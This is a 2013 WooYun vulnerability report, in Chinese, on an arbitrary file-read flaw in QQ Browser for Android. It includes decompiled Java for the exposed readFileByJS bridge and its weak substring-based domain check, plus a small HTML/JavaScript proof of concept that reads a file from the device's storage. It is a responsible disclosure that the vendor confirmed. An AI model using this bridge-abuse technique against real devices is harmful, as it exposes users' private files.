当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-040667

漏洞标题:QQ 浏览器 for android 任意文件读取漏洞

相关厂商:腾讯

漏洞作者: 心伤的胖子

提交时间:2013-10-22 16:54

修复时间:2013-12-06 16:54

公开时间:2013-12-06 16:54

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-22: 细节已通知厂商并且等待厂商处理中
2013-10-22: 厂商已经确认,细节仅向厂商公开
2013-11-01: 细节向核心白帽子及相关领域专家公开
2013-11-11: 细节向普通白帽子公开
2013-11-21: 细节向实习白帽子公开
2013-12-06: 细节向公众公开

简要描述:

咳咳,继续!
QQ 浏览器 for android 部分接口权限过大,存在可以读取任意文件的漏洞。

详细说明:

webview 的漏洞让浏览器公开的 API 火了一把,不过时间如白驹过隙般“咻”的一下就过去了,webview 的代码执行漏洞是修了,可是 API 的安全问题貌似没有被关注啊。
1、反编译 QQ 浏览器的 apk,然后通过老办法,搜索关键字“addJavascriptInterface”来查找都有哪些公开哪些接口给 JavsScript 调用。如下:

localIX5WebView.addJavascriptInterface(this.ao, "x5mtt");
localIX5WebView.addJavascriptInterface(new aw(localIX5WebView), "mtt");
localIX5WebView.addJavascriptInterface(new aq(this), "push");


2、根据上面的跟进代码去看看接口都有些什么方法,这些方法都做了些什么?看到这个函数名 readFileByJS ,额,有戏呀,然后看代码

public String readFileByJS(String s, long l, int i)
{
String s1;
s1 = null;
break MISSING_BLOCK_LABEL_3;
_L1:
byte abyte0[];
do
return s1;
while(!checkQQDomain() || s == null || l < 0L || i < 0);
abyte0 = new byte[i];
FileInputStream fileinputstream = new FileInputStream(s);
fileinputstream.skip(l);
fileinputstream.read(abyte0);
FileNotFoundException filenotfoundexception;
Exception exception;
IOException ioexception2;
String s2;
Exception exception1;
if(fileinputstream != null)
try
{
fileinputstream.close();
}
catch(IOException ioexception4) { }
s2 = new String(abyte0, "utf-8");
s1 = s2;
goto _L1
filenotfoundexception;
fileinputstream = null;
_L4:
filenotfoundexception.printStackTrace();
if(fileinputstream != null)
try
{
fileinputstream.close();
}
catch(IOException ioexception1) { }
goto _L1
ioexception2;
fileinputstream = null;
_L3:
ioexception2.printStackTrace();
if(fileinputstream != null)
try
{
fileinputstream.close();
}
catch(IOException ioexception3) { }
goto _L1
exception1;
fileinputstream = null;
exception = exception1;
_L2:
if(fileinputstream != null)
try
{
fileinputstream.close();
}
catch(IOException ioexception) { }
throw exception;
UnsupportedEncodingException unsupportedencodingexception;
unsupportedencodingexception;
goto _L1
exception;
goto _L2
ioexception2;
goto _L3
filenotfoundexception;
goto _L4
}


整个代码的逻辑是需要受这句代码 while(!checkQQDomain() || s == null || l < 0L || i < 0); 限制的,看checkQQDomain应该是判断是不是腾讯的域名,在其他代码中找到这个函数的定义:

protected boolean checkQQDomain()
{
String str = this.mWebView.getUrl();
if ((str.indexOf(".qq.com") != -1) || (str.indexOf(".soso.com") != -1) || (str.equalsIgnoreCase("qq.com")) || (str.equalsIgnoreCase("soso.com")));
for (boolean bool = true; ; bool = false)
return bool;
}


差不差,懂半拉。
整个流程就是判断是不是 qq.com 或者 soso.com 的域名,如果是就读取文件,可以指定读取的开始位置以及指定的长度。
3、手机上修改 hosts 文件随便解析一个 qq.com 的二级域名测试下(我找个xss估计也不会多给我分的),poc 代码如下:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>qq browser read file</title>
<body>
<script type="text/javascript">
try{
alert(x5mtt.readFileByJS("/sdcard/x5mtt.txt", 0, 10));
}catch(e){
alert(e);
}
</script>
</body>
</html>


/sdcard/x5mtt.txt 是我自己测试生成的文件,然后我本地解析 victim.qq.com 域名,访问后如下图:

qq_xss_2.png

漏洞证明:

qq_xss_2.png

修复方案:

1、严格控制这种接口的调用权限

版权声明:转载请注明来源 心伤的胖子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-10-22 17:17

厂商回复:

感谢反馈,我们正在跟进处理中。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-10-22 17:01 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    唉 ATM

  2. 2013-10-22 17:42 | 心伤的胖子 ( 普通白帽子 | Rank:308 漏洞数:29 | 因为心伤,所以胖子。)

    @疯狗 来看

  3. 2013-10-22 17:44 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    @xsser 我是板凳。确认速度史无前历了.还给了20。莫非你的滚粗有效果了!

  4. 2013-10-22 18:05 | 小熊饼干 ( 实习白帽子 | Rank:41 漏洞数:6 | 酱油专业户)

    给力,mark

  5. 2013-10-22 23:59 | fox ( 普通白帽子 | Rank:159 漏洞数:16 | fox)

    又见20RANK

  6. 2013-10-23 09:39 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    20,看来很严重